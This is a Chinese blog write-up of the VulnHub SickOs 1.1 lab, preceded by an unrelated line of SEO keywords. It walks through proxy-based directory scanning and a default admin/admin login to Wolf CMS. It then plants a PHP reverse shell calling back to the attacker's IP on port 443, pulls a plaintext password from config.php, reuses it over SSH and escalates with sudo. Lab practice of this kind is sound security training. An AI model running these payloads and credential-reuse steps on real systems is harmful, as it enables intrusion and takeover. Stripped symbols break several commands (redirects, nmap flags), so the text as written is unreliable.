手机百度收录网站吗,商贸有限公司企业简介,网站为什么做优化ppt,建设网站会员登陆Sickos1.1 详细靶机思路 实操笔记
免责声明
本博客提供的所有信息仅供学习和研究目的#xff0c;旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动#xff0c;您将独自承担…Sickos1.1 详细靶机思路 实操笔记
免责声明
本博客提供的所有信息仅供学习和研究目的旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。
靶机链接SickOs: 1.1 ~ VulnHub下来后导入到vmware里面
右键vm靶机栏 打开靶机的.ovf文件 Nmap信息收集
主机发现
sudo nmap -sn 192.168.236.128/24开启靶机后能找到133这台机器就是我们要打的靶机
TCP扫描
sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133拿到了这三个端口22,3128,8080 对应的端口分别为ssh squid-http http-proxy
详细端口扫描
nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133给出了更详细的信息如服务版本号主机型号等
nmap默认漏洞脚本扫描
nmap --scriptvuln -oA sickos_script p22,8080,3128 192.168.236.133没有什么发现nmap没有给出利用路径
web渗透
攻击面分析
我们知道了3128开放的是一个squid代理服务版本为3.1.19如下直接访问没有给什么东西 8080端口关闭是一个http-proxy 可能是什么代理之类的服务直接去访问是拒绝连接
22端口ssh远程连接我们可以尝试去空密码连接但可能性不大如果在我们去寻找凭据实在走不下去了可以去尝试一下
squid代理
先去搜索一下squid服务 Squid代理服务器 Squid主要提供缓存加速、应用层过滤控制、web服务隐藏真实IP安全性的功能。 1、代理的工作机制 代替客户机向网站请求数据从而可以隐藏用户的真实IP地址。 将获得的网页数据静态 Web 元素保存到缓存中并发送给客户机以便下次请求相同的数据时快速响应。 2、代理的类型 传统代理 适用于Internet需在客户机指定代理服务器的地址和端口。 透明代理 客户机不需指定代理服务器的地址和端口而是通过默认路由、防火墙策略将Web访问重定向给代理服务器处理。 反向代理 如果 Squid 反向代理服务器中缓存了该请求的资源则将该请求的资源直接返回给客户端否则反向代理服务器将向后台的 WEB 服务器请求资源然后将请求的应答返回给客户端同时也将该应答缓存静态在本地供下一个请求者使用。 靶机的squid跑在3128端口上应该指定的代理服务器端口就为3128在浏览器上设置一下proxy 设置好后发现直接访问靶机ip可以通给了一个BLEHHH 这是一个俚语 既然可以通那就爆破一下目录吧
指定一下代理
dirb http://192.168.236.133/ -p http://192.168.236.133:3128/http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291) http://192.168.236.133/connect (CODE:200|SIZE:109) http://192.168.236.133/index (CODE:200|SIZE:21) http://192.168.236.133/index.php (CODE:200|SIZE:21) http://192.168.236.133/robots (CODE:200|SIZE:45) http://192.168.236.133/robots.txt (CODE:200|SIZE:45) http://192.168.236.133/server-status (CODE:403|SIZE:296) 先访问最感兴趣的index.php
其实就是之前的BLEHHHH
其他的目录扫了一眼/connect里面是一个脚本没什么用大概就是说 你可能想要尝试利用我的服务
/server-status 403forbidden无法访问
#!/usr/bin/pythonprint(I Try to connect things very frequently)
print(You may want to try my services)robots.txt : 给了一个Dissalow/wolfcms尝试一下访问这个路由尝试访问发现真的有 点了一圈没有什么发现网页都是一些静态资源去网上搜索一下wolfcms有没有什么框架漏洞
Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit
这里发现一个长得很像登陆界面的url http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/确实跳转到了一个登录页 弱密码U/Padmin admin进入wolfcms的后台 反向连接shell
在登录wolfcms后台之后随便点点发现有很多代码执行和文件上传的位置比如Home Page里面就可以填写php代码
在Articles中嵌入
?php exec(/bin/bash -c bash -i /dev/tcp/192.168.236.128/443 01);?来分析一下这个反向连接shell
exec() php的内置函数用于执行外部程序 基础语法exec(command,output,return_var) (命令存储命令的输出返回状态码)
/bin/bash Linux系统中的Bash shell的路径 /bin/bash是Bash shell的可执行文件
-c这是Bash的一个选项表示后面跟着的字符串会被当作一个命令来执行
bash -i /dev/tcp/192.168.236.128/443 01这个字符串是传递给Bash的命令。我们再进一步解析
bash -i
bash启动一个新的Bash shell。-i表示以交互模式运行Bash shell。
这是一个重定向操作符用于将标准输出stdout和标准错误stderr合并并重定向到指定的目标。
/dev/tcp/192.168.236.128/443这是一个特殊的文件描述符表示通过TCP协议连接到IP地址为 192.168.236.128 的主机端口为 443。
01
0表示标准输入stdin。
1表示将标准输入stdin重定向到标准输出stdout的文件描述符。 嵌入保存后在kali上开启监听
sudo nc -lvnp 443再去访问Artical 反弹shell成功 提权
信息收集
先看一下得到的权限能干什么有什么权限在这个权限下能看到的文件等信息这里我建议最好把整个shell的所有能访问到的东西都先浏览一遍把他的文件结构都搞清楚要知道他有没有什么可以访问的配置文件config等/etc/passwd这种重要的目录也要去尝试一下有没有权限打开里面是否有我们感兴趣的内容
whoami可以看到现在的用户是www-data 尝试访问/etc/passwd 发现root和sickos这两个账户是拥有bash环境的而我们所在的www-data是没有的所以如果我们找到凭据应该优先尝试这两个账户。 ls -alh能看到有一个config.php配置文件 得到了一个凭据john123 这里还给了一个mysql的用户名但是这个机器没开3389没有实际意义 得到的这个凭据可以结合上面得到的两个账号尝试一下ssh连接如果可以就成功提权了
?php // Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo// Database settings:
define(DB_DSN, mysql:dbnamewolf;hostlocalhost;port3306);
define(DB_USER, root);
define(DB_PASS, john123);
define(TABLE_PREFIX, );// Should Wolf produce PHP error messages for debugging?
define(DEBUG, false);// Should Wolf check for updates on Wolf itself and the installed plugins?
define(CHECK_UPDATES, true);// The number of seconds before the check for a new Wolf version times out in case of problems.
define(CHECK_TIMEOUT, 3);// The full URL of your Wolf CMS install
define(URL_PUBLIC, /wolfcms/);// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTPSSL installation.
define(USE_HTTPS, false);// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define(COOKIE_HTTP_ONLY, false);// The virtual directory name for your Wolf CMS administration section.
define(ADMIN_DIR, admin);// Change this setting to enable mod_rewrite. Set to true to remove the ? in the URL.
// To enable mod_rewrite, you must also change the name of _.htaccess in your
// Wolf CMS root directory to .htaccess
define(USE_MOD_REWRITE, false);// Add a suffix to pages (simluating static pages .html)
define(URL_SUFFIX, .html);// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define(DEFAULT_TIMEZONE, Asia/Calcutta);// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define(USE_POORMANSCRON, false);// Rough interval in seconds at which poormans cron should trigger.
// No traffic no poormans cron run.
define(POORMANSCRON_INTERVAL, 3600);// How long should the browser remember logged in user?
// This relates to Login screen Remember me for xxx time checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define (COOKIE_LIFE, 1800); // 30 minutes// Can registered users login to backend using their email address?
// Default: false
define (ALLOW_LOGIN_WITH_EMAIL, false);// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define (DELAY_ON_INVALID_LOGIN, true);// How long should the login blockade last?
// Default: 30 seconds
define (DELAY_ONCE_EVERY, 30); // 30 seconds// First delay starts after Nth failed login attempt
// Default: 3
define (DELAY_FIRST_AFTER, 3);// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link)
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define (SECURE_TOKEN_EXPIRY, 900); // 15 minutes看到别人的博客还找到了这个路径下的配置文件
cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php里面有一个密码 但实际好像并没有什么用处
ssh
尝试sickos root john123 pawpsw123这一组凭据
这一组可以连接
ssh sickos192.168.236.133john123sudo -l查看一下拿到的shell的权限 有sudo权限可以运行任何命令ALLALL 也就是可以用sudo命令提升到root权限
那就直接切换root用户
sudo /bin/bash成功提权root目录下有flag 成功通关sickos